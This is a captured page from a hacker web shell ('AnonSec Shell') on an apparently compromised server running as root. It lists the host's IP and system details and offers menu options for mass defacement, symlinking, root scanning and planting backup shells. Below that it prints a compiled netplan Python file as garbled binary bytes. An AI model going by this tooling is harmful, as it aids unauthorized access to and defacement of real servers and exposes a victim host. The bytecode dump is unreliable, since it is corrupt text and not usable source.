AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/share/netplan/netplan/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/usr/share/netplan/netplan/cli/commands/__pycache__/ip.cpython-310.pyc
o

|hEc��@s�dZddlZddlZddlZddlZddlmZddlmmZddd�ddd�d	�Z	Gd
d�dej
�ZGdd
�d
ej
�ZdS)znetplan ip command line�N)�CalledProcessErrorz#run/systemd/netif/leases/{lease_id}�ifindex)�pattern�methodz<var/lib/NetworkManager/internal-{lease_id}-{interface}.lease�
nm_connection)�networkd�NetworkManagercs$eZdZ�fdd�Zdd�Z�ZS)�	NetplanIpc�t�jdddd�dS)N�ipz'Retrieve IP information from the systemF��
command_id�description�leaf��super�__init__��self��	__class__��-/usr/share/netplan/netplan/cli/commands/ip.pyr*�
�zNetplanIp.__init__cCsBt�|_|jjdddd�}|j|jj|jd�|��|��dS)N�leases�Display IP leasesF)�help�add_help)�func�commandclass)�NetplanIpLeases�command_leases�
subparsers�
add_parser�set_defaults�run�
parse_args�run_command)r�p_ip_leasesrrrr%/s�z
NetplanIp.run)�__name__�
__module__�__qualname__rr%�
__classcell__rrrrr	(sr	cs,eZdZ�fdd�Zdd�Zdd�Z�ZS)r cr
)Nz	ip leasesrTrrrrrrr>rzNetplanIpLeases.__init__cCs<|jjddd�|jjddd�|j|_|��|��dS)N�	interfacez1Interface for which to display IP lease settings.)r�
--root-dirzBSearch for configuration files in this root directory instead of /)�parser�add_argument�command_ip_leasesrr&r'rrrrr%Cs��zNetplanIpLeases.runc	s��jdkr	����fdd�}t��g}�jr|d�jg7}|d�jg7}t�d|�z	tj|dd�}Wnt	yBt
�d	�Ynwi}|�d
�}|D]}|�
��d�\}}|||<qL||�dS)Nrc

s(�fdd�}�fdd�}t|dd}t|dd}zQtd|��}tj�d	�jr2tj��j�nd
|j�j|d��}tj�	|�sH|�
dd
�}t|��}|��D]}t
|���qQWd�WdS1sfwYWdSty�}	zt
d�jt|	�ftjd�t�d�WYd}	~	dSd}	~	ww)Nc
s�tj�d�jd�}z t|��}|��d��Wd�WS1s"wYWdSty?}z
t�	d|t
|���d}~ww)Nz/sys/class/netrrzCannot read file %s: %s)�os�path�joinr-�open�	readlines�strip�	Exception�logging�debug�str)�	ifindex_f�f�errr�lease_method_ifindexTs
(���zXNetplanIpLeases.command_ip_leases.<locals>.find_lease_file.<locals>.lease_method_ifindexc
s�zdtjddd�jgtdtj�dtj�d�dd�}|��D]C}d	|vr_|�	d
�d�
���}tjdddd
|gtdtj�dtj�d�dd�}|��D]}d|vr^|�	d
�d�
���WSqHqWtd��tyx}ztdt
|���d}~ww)N�nmcli�dev�show�C�PATH)�LC_ALLrDT)�env�universal_newlineszGENERAL.CONNECTION�:��con�idzconnection.uuidz@Could not find a NetworkManager connection for the interface: %sz<Could not find a NetworkManager connection for the interface)�
subprocess�check_outputr-�dictr2�environ�get�defpath�
splitlines�split�rstripr7r8r;)�
nmcli_dev_out�line�conn_id�
nmcli_con_outr>rrr�lease_method_nm_connection]s.�� ������z^NetplanIpLeases.command_ip_leases.<locals>.find_lease_file.<locals>.lease_method_nm_connection�backendrr�
lease_method_�/�)r-�lease_idzNetworkManager/internal-zNetworkManager/dhclient-z%No lease found for interface '%s': %s)�filerI)�
lease_path�evalr2r3r4�root_dir�abspath�formatr-�isfile�replacer5r6�printrTr8r;�sys�stderr�exit)
�mappingr?rY�
lease_pattern�lease_methodr^r3r=rVr>rrr�find_lease_fileSs4	��
�&����z:NetplanIpLeases.command_ip_leases.<locals>.find_lease_filer.z	--mappingzcommand ip leases: running %sT)rGrI�,�=)r-�print_usage�utils�get_generator_pathrbr9r:rLrMrrhrjrSr7)	rrn�argv�outrk�	mapping_s�keyvalue�key�valuerrrr1Ns&

8�

z!NetplanIpLeases.command_ip_leases)r)r*r+rr%r1r,rrrrr <sr )
�__doc__r9r2rhrLr�netplan.cli.utils�clirrr`�NetplanCommandr	r rrrr�<module>s ���

Anon7 - 2022
AnonSec Team